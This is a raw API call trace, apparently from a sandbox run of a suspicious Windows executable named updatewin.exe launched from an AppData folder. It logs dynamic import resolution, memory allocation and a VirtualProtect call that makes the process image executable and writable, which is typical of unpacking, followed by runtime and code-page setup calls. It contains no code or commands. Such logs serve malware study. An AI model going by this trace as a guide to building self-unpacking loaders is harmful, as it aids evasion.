GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.372] AddAtomA (lpString=0x0) returned 0x0 [0060.372] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0060.372] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0060.389] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0060.390] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0060.390] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0060.390] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0060.390] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0060.390] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0060.390] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0060.390] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0060.390] SetErrorMode (uMode=0x400) returned 0x0 [0060.390] SetErrorMode (uMode=0x0) returned 0x400 [0060.390] GetVersionExA (in: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d520*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0060.390] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a0000 [0060.392] VirtualProtect (in: lpAddress=0x400000, dwSize=0x23000, flNewProtect=0x40, lpflOldProtect=0x18e5a8 | out: lpflOldProtect=0x18e5a8*=0x2) returned 1 [0060.535] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.535] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0060.535] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0060.536] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0060.537] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0060.538] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0060.539] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0060.540] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0060.540] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0060.540] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0060.540] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0060.540] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="GetDesktopWindow") returned 0x74f60a19 [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="InvalidateRect") returned 0x74f61381 [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="wsprintfW") returned 0x74f7e061 [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="DrawIcon") returned 0x74f68deb [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="FillRect") returned 0x74f60eb6 [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="GetDlgItem") returned 0x74f7f1ba [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="EndPaint") returned 0x74f61341 [0060.540] GetProcAddress (hModule=0x74f40000, lpProcName="BeginPaint") returned 0x74f61361 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="DialogBoxParamW") returned 0x74f7cfca [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="MoveWindow") returned 0x74f63698 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="GetClientRect") returned 0x74f60c62 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="CreateDialogParamW") returned 0x74f810dc [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="SetWindowPos") returned 0x74f58e4e [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0060.541] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateAcceleratorW") returned 0x74f61246 [0060.542] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0060.542] GetProcAddress (hModule=0x74f40000, lpProcName="LoadAcceleratorsW") returned 0x74f64dd6 [0060.542] GetProcAddress (hModule=0x74f40000, lpProcName="LoadStringW") returned 0x74f58eb9 [0060.542] GetProcAddress (hModule=0x74f40000, lpProcName="LoadIconW") returned 0x74f5b142 [0060.542] GetProcAddress (hModule=0x74f40000, lpProcName="GetMonitorInfoW") returned 0x74f63000 [0060.542] GetProcAddress (hModule=0x74f40000, lpProcName="MonitorFromWindow") returned 0x74f63150 [0060.542] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0060.542] GetProcAddress (hModule=0x75ad0000, lpProcName="TextOutW") returned 0x75aed41c [0060.542] GetProcAddress (hModule=0x75ad0000, lpProcName="SetBkMode") returned 0x75ae51a2 [0060.542] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0060.542] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateFontW") returned 0x75aeb600 [0060.542] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0060.542] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateSolidBrush") returned 0x75ae4f17 [0060.542] GetProcAddress (hModule=0x75ad0000, lpProcName="SetTextAlign") returned 0x75ae8401 [0060.542] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x74820000 [0060.545] GetProcAddress (hModule=0x74820000, lpProcName="InitCommonControlsEx") returned 0x748409ce [0060.545] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0060.547] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0060.547] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0060.551] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0060.552] atexit (param_1=0x2463c8) returned 0 [0060.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e5ac | out: lpSystemTimeAsFileTime=0x18e5ac*(dwLowDateTime=0xb66d10f0, dwHighDateTime=0x1d55a45)) [0060.552] GetCurrentThreadId () returned 0x904 [0060.552] GetCurrentProcessId () returned 0x900 [0060.552] QueryPerformanceCounter (in: lpPerformanceCount=0x18e5a4 | out: lpPerformanceCount=0x18e5a4*=18084016409) returned 1 [0060.559] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0060.559] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.559] GetLastError () returned 0x57 [0060.560] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.560] GetLastError () returned 0x57 [0060.560] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0060.560] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0060.560] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.560] GetLastError () returned 0x57 [0060.560] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0060.560] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0060.562] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.562] GetLastError () returned 0x57 [0060.562] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.562] GetLastError () returned 0x57 [0060.562] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0060.562] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0060.562] GetProcessHeap () returned 0x230000 [0060.562] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.562] GetLastError () returned 0x57 [0060.562] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0060.562] GetLastError () returned 0x57 [0060.562] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0060.563] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x364) returned 0x25b9c0 [0060.563] SetLastError (dwErrCode=0x57) [0060.563] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xc00) returned 0x25bd30 [0060.564] GetStartupInfoW (in: lpStartupInfo=0x18e4e0 | out: lpStartupInfo=0x18e4e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x402400, hStdOutput=0x8205bdb0, hStdError=0xfffffffe)) [0060.564] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0060.564] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0060.564] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0060.564] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe\" " [0060.564] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe\" " [0060.564] IsValidCodePage (CodePage=0x4e4) returned 1 [0060.564] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e500 | out: lpCPInfo=0x18e500) returned 1 [0060.564] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ddc8 | out: lpCPInfo=0x18ddc8) returned 1 [0060.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0060.564] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18dddc | out: lpCharType=0x18dddc) returned 1 [0060.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā") returned 256 [0060.565] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.565] GetLastError () returned 0x57 [0060.565] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0060.565] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0060.565] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x18d908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0060.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18e2dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿøz\\\x82\x18å\x18", lpUsedDefaultChar=0x0) returned 256 [0060.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0060.566] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0060.566] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 